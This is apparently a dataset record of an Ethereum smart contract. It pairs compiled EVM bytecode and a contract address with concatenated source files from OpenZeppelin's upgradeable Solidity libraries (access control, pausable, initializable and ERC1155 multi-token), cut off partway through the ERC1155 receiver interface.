00160a01b03811661223657600060019250925050611dcc565b9660009650945050505050565b600081600481111561226557634e487b7160e01b600052602160045260246000fd5b141561226e5750565b600181600481111561229057634e487b7160e01b600052602160045260246000fd5b14156122de5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161067b565b600281600481111561230057634e487b7160e01b600052602160045260246000fd5b141561234e5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161067b565b600381600481111561237057634e487b7160e01b600052602160045260246000fd5b14156123c95760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161067b565b60048160048111156123eb57634e487b7160e01b600052602160045260246000fd5b14156107a05760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161067b565b61208382826126aa565b60006108ce8284612e6b565b8254600090819080156124b35785612473600183612e6b565b8154811061249157634e487b7160e01b600052603260045260246000fd5b60009182526020909120015464010000000090046001600160e01b03166124b6565b60005b6001600160e01b031692506124cf83858763ffffffff16565b915060008111801561251b575043866124e9600184612e6b565b8154811061250757634e487b7160e01b600052603260045260246000fd5b60009182526020909120015463ffffffff16145b1561258957612529826126c2565b86612535600184612e6b565b8154811061255357634e487b7160e01b600052603260045260246000fd5b9060005260206000200160000160046101000a8154816001600160e01b0302191690836001600160e01b031602179055506125f4565b85604051806040016040528061259e43611893565b63ffffffff1681526020016125b2856126c2565b6001600160e01b0390811690915282546001810184556000938452602093849020835194909301519091166401000000000263ffffffff909316929092179101555b50935093915050565b60006108ce8284612e14565b612613828261272b565b6002546001600160e01b0310156126855760405162461bcd60e51b815260206004820152603060248201527f4552433230566f7465733a20746f74616c20737570706c79207269736b73206f60448201526f766572666c6f77696e6720766f74657360801b606482015260840161067b565b61188d60086125fd8361245a565b60606126a28484600085612812565b949350505050565b6126b4828261293a565b61188d600861244e8361245a565b60006001600160e01b038211156118f85760405162461bcd60e51b815260206004820152602760248201527f53616665436173743a2076616c756520646f65736e27742066697420696e20326044820152663234206269747360c81b606482015260840161067b565b6001600160a01b0382166127815760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161067b565b80600260008282546127939190612e14565b90915550506001600160a01b038216600090815260208190526040812080548392906127c0908490612e14565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a361208360008383612a8b565b6060824710156128735760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161067b565b843b6128c15760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161067b565b600080866001600160a01b031685876040516128dd9190612d90565b60006040518083038185875af1925050503d806000811461291a576040519150601f19603f3d011682016040523d82523d6000602084013e61291f565b606091505b509150915061292f828286612a96565b979650505050505050565b6001600160a01b03821661299a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161067b565b6001600160a01b03821660009081526020819052604090205481811015612a0e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161067b565b6001600160a01b0383166000908152602081905260408120838303905560028054849290612a3d908490612e6b565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3611aa1836000845b611aa1838383612acf565b60608315612aa5575081611ee2565b825115612ab55782518084602001fd5b8160405162461bcd60e51b815260040161067b9190612dac565b6001600160a01b03838116600090815260066020526040808220548584168352912054611aa192918216911683611f04565b80356001600160a01b0381168114612b1857600080fd5b919050565b803560ff81168114612b1857600080fd5b600060208284031215612b3f578081fd5b6108ce82612b01565b60008060408385031215612b5a578081fd5b612b6383612b01565b9150612b7160208401612b01565b90509250929050565b600080600060608486031215612b8e578081fd5b612b9784612b01565b9250612ba560208501612b01565b9150604084013590509250925092565b600080600080600080600060e0888a031215612bcf578283fd5b612bd888612b01565b9650612be660208901612b01565b95506040880135945060608801359350612c0260808901612b1d565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215612c30578182fd5b612c3983612b01565b946020939093013593505050565b60008060008060008060c08789031215612c5f578182fd5b612c6887612b01565b95506020870135945060408701359350612c8460608801612b1d565b92506080870135915060a087013590509295509295509295565b60008060408385031215612cb0578182fd5b612cb983612b01565b9150602083013563ffffffff81168114612cd1578182fd5b809150509250929050565b600060208284031215612ced578081fd5b8135611ee281612ef9565b600060208284031215612d09578081fd5b8151611ee281612ef9565b600060208284031215612d25578081fd5b5035919050565b600060208284031215612d3d578081fd5b5051919050565b60008060408385031215612d56578182fd5b50508035926020909101359150565b600080600060608486031215612d79578283fd5b505081359360208301359350604090920135919050565b60008251612da2818460208701612e82565b9190910192915050565b6020815260008251806020840152612dcb816040850160208701612e82565b601f01601f19169190910160400192915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115612e2757612e27612ee3565b500190565b600082612e4757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612e6657612e66612ee3565b500290565b600082821015612e7d57612e7d612ee3565b500390565b60005b83811015612e9d578181015183820152602001612e85565b8381111561188d5750506000910152565b600181811c90821680612ec257607f821691505b60208210811415611b3e57634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b80151581146107a057600080fdfea2646970667358221220f4d88d9bf30a76d9c1906216e6e1165f97b2464ecbe920c26d9e1649df857cb264736f6c63430008040033
[ 13, 9, 12 ]
0xf265eAc216c240f703462981fC4c09411630771f
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155Upgradeable.sol"; import "./IERC1155ReceiverUpgradeable.sol"; import "./extensions/IERC1155MetadataURIUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable { using AddressUpgradeable for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ function __ERC1155_init(string memory uri_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155_init_unchained(uri_); } function __ERC1155_init_unchained(string memory uri_) internal initializer { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC1155Upgradeable).interfaceId || interfaceId == type(IERC1155MetadataURIUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155ReceiverUpgradeable.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155ReceiverUpgradeable.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } uint256[47] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). 